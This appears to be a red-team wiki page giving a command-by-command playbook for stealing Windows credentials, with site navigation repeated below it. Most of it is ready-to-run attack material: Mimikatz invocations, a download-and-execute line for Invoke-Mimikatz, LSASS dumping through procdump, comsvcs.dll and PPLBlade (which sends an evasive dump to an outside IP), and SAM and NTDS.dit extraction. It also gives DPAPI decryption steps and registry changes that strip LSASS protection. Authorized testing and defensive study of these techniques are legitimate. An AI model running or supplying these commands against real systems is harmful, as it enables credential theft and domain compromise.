Stealing Windows Credentials

Overview

Windows stores credentials in multiple locations including LSASS process memory, the SAM database, NTDS.dit (Active Directory), and the DPAPI master key store. This page covers how to extract credentials from each location during authorized assessments.

Credential theft techniques are for authorized penetration testing and red team operations only. These techniques are highly impactful and must only be used with explicit written authorization.

Mimikatz

Mimikatz is the primary tool for Windows credential extraction:

# Elevate privileges and extract everything
mimikatz "privilege::debug" "token::elevate" \
  "sekurlsa::logonpasswords" \
  "lsadump::lsa /inject" \
  "lsadump::sam" \
  "lsadump::cache" \
  "sekurlsa::ekeys" \
  "exit"

# Individual commands
privilege::debug          # Enable debug privilege (may fail if already admin)
token::elevate            # Impersonate SYSTEM token
sekurlsa::logonpasswords  # Extract from LSASS memory
lsadump::lsa /inject      # Extract from LSA service
lsadump::sam              # Extract from SAM database

PowerShell Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString(
  'https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds

LSASS Dumping Methods

Procdump (Microsoft Signed)

Procdump from Sysinternals is a legitimate Microsoft-signed binary, not flagged by Defender:

# Local dump
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Remote (from live.sysinternals.com)
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

Then extract credentials:

# Load and parse with Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords

comsvcs.dll (No Upload Required)

# Get LSASS PID
Get-Process -Name LSASS

# Dump using built-in DLL
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass_pid> lsass.dmp full

Task Manager (GUI Method)

Right-click Task Bar → Task Manager → More Details
Find “Local Security Authority Process” in Processes tab
Right-click → “Create dump file”

PPLBlade (Bypasses Protected Process Light)

PPLBlade dumps LSASS while:

Bypassing PPL protection
Obfuscating the dump file to evade Defender signatures
Supporting fileless (in-memory) upload via RAW or SMB

PPLBlade.exe --mode dump --name lsass.exe --handle procexp \
  --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

LalsDumper (SSP-Based — No MiniDumpWriteDump)

Advanced three-stage dumper that loads a malicious SSP into LSASS, never calling MiniDumpWriteDump:

Stage 1 (lals.exe) — patches fdp.dll placeholder with path to rtu.txt, saves as nfdp.dll, calls AddSecurityPackageA("nfdp","fdp") to force LSASS to load the rogue SSP
Stage 2 (inside LSASS) — rogue DLL reads rtu.txt, XORs with 0x20, maps decoded shellcode
Stage 3 — reimplements MiniDump logic via direct syscalls, streams compressed LSASS dump to %TEMP%\<pid>.ddt

# Keep all files in same directory: lals.exe, fdp.dll, rtu.txt
# Running lals.exe requires admin/SeTcb rights
# Output: %TEMP%\<pid>.ddt — decompress, then use with Mimikatz/Volatility

SAM and SYSTEM Extraction

The SAM database stores local account hashes and requires SYSTEM access to read directly.

From Registry

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Extract hashes on attacker machine:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

# Create shadow copy
vssadmin create shadow /for=C:

# Copy SAM from shadow (replace HarddiskVolumeShadowCopy8 with your copy number)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

PowerShell alternative:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public
cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public
$volume.Delete();if($notrunning -eq 1){$service.Stop()}

NTDS.dit — Active Directory Database

The NTDS.dit file is the AD database containing all domain user password hashes. Hash decryption requires three layers:

Decrypt PEK (Password Encryption Key) using BOOTKEY + RC4
Decrypt hash using PEK + RC4
Decrypt hash using DES

Copy NTDS.dit

# Using ntdsutil (Windows Server 2008+)
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

Extract Hashes

# Impacket secretsdump (remote — requires DA credentials)
secretsdump.py -just-dc-ntlm <DOMAIN>/<DA_USER>@<DOMAIN_CONTROLLER>

# Local extraction
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

# For large NTDS.dit files
gosecretsdump -ntds ntds.dit -system SYSTEM

Export NTDS to SQLite

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
# Extracts: user/machine accounts, hashes, UAC flags, group membership, OUs, trust info

CrackMapExec Credential Dumping

# Dump SAM hashes
cme smb 192.168.1.0/24 -u UserName -p 'PASSWORD' --sam

# Dump LSA secrets
cme smb 192.168.1.0/24 -u UserName -p 'PASSWORD' --lsa

# Dump NTDS.dit from DC
cme smb 192.168.1.100 -u UserName -p 'PASSWORD' --ntds

DPAPI — Decrypting Stored Credentials

DPAPI protects stored credentials, browser passwords, and PowerShell credentials:

# Locate DPAPI master keys
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\

# Locate DPAPI-protected credential files
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\

# Mimikatz DPAPI decryption
dpapi::masterkey /pvk:backupkey.pvk /in:MasterKeyFile
dpapi::cred /masterkey:<key> /in:CredentialFile

# Extract master keys from memory (requires SYSTEM)
sekurlsa::dpapi

Mining Idle RDP Sessions

After compromise, harvest credentials from users with active RDP sessions:

# Find outbound RDP targets from all user hives
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
    Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -EA SilentlyContinue |
      ForEach-Object {
          $server = Split-Path $_.Name -Leaf
          $user = (Get-ItemProperty $_.Name).UsernameHint
          "OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
      }
}

# Find inbound RDP evidence (Event IDs 21=logon, 25=disconnect)
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" `
  | Where-Object { $_.Id -in 21,25 } `
  | Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}

Registry Downgrades for Credential Theft

FinalDraft-style implants set registry keys to enable credential theft:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f

DisableRestrictedAdmin=1 — enables full credential/ticket reuse during RDP (Pass-the-Hash via RDP)
LocalAccountTokenFilterPolicy=1 — disables UAC token filtering over the network
RunAsPPL=0 — removes LSASS PPL protection, making memory dumps trivial

Invoke-NinjaCopy

Invoke-NinjaCopy can read files locked by the OS (SAM, NTDS.dit, SYSTEM hive) without VSS:

# Copy SAM and SYSTEM hives while locked
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\temp\SAM"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM"

# Extract from SAM offline
secretsdump.py -sam C:\temp\SAM -system C:\temp\SYSTEM LOCAL

Meterpreter Credential Harvesting

If you have a Meterpreter shell:

# Load kiwi (in-memory Mimikatz)
meterpreter> load kiwi
meterpreter> creds_all          # All credentials
meterpreter> lsa_dump_sam       # SAM hashes
meterpreter> lsa_dump_secrets   # LSA secrets

# Using Metasploit module
msf> use post/multi/recon/local_exploit_suggester
msf> use post/windows/gather/credentials/credential_collector
msf> use post/windows/gather/smart_hashdump

Additional Tools

# Lazagne — extracts credentials from many applications
lazagne.exe all

# Windows Credentials Editor
wce.exe -w   # List passwords in memory

# fgdump / PwDump7 — SAM extraction
fgdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1

Linux

macOS

Windows

Stealing Windows Credentials

Overview

Mimikatz

PowerShell Invoke-Mimikatz

LSASS Dumping Methods

Procdump (Microsoft Signed)

comsvcs.dll (No Upload Required)

Task Manager (GUI Method)

PPLBlade (Bypasses Protected Process Light)

LalsDumper (SSP-Based — No MiniDumpWriteDump)

SAM and SYSTEM Extraction

From Registry

Volume Shadow Copy

NTDS.dit — Active Directory Database

Copy NTDS.dit

Extract Hashes

Export NTDS to SQLite

CrackMapExec Credential Dumping

DPAPI — Decrypting Stored Credentials

Mining Idle RDP Sessions

Registry Downgrades for Credential Theft

Invoke-NinjaCopy

Meterpreter Credential Harvesting

Additional Tools

References

​Overview

​Mimikatz

​PowerShell Invoke-Mimikatz

​LSASS Dumping Methods

​Procdump (Microsoft Signed)

​comsvcs.dll (No Upload Required)

​Task Manager (GUI Method)

​PPLBlade (Bypasses Protected Process Light)

​LalsDumper (SSP-Based — No MiniDumpWriteDump)

​SAM and SYSTEM Extraction

​From Registry

​Volume Shadow Copy

​NTDS.dit — Active Directory Database

​Copy NTDS.dit

​Extract Hashes

​Export NTDS to SQLite

​CrackMapExec Credential Dumping

​DPAPI — Decrypting Stored Credentials

​Mining Idle RDP Sessions

​Registry Downgrades for Credential Theft

​Invoke-NinjaCopy

​Meterpreter Credential Harvesting

​Additional Tools

​References

Overview

Mimikatz

PowerShell Invoke-Mimikatz

LSASS Dumping Methods

Procdump (Microsoft Signed)

comsvcs.dll (No Upload Required)

Task Manager (GUI Method)

PPLBlade (Bypasses Protected Process Light)

LalsDumper (SSP-Based — No MiniDumpWriteDump)

SAM and SYSTEM Extraction

From Registry

Volume Shadow Copy

NTDS.dit — Active Directory Database

Copy NTDS.dit

Extract Hashes

Export NTDS to SQLite

CrackMapExec Credential Dumping

DPAPI — Decrypting Stored Credentials

Mining Idle RDP Sessions

Registry Downgrades for Credential Theft

Invoke-NinjaCopy

Meterpreter Credential Harvesting

Additional Tools

References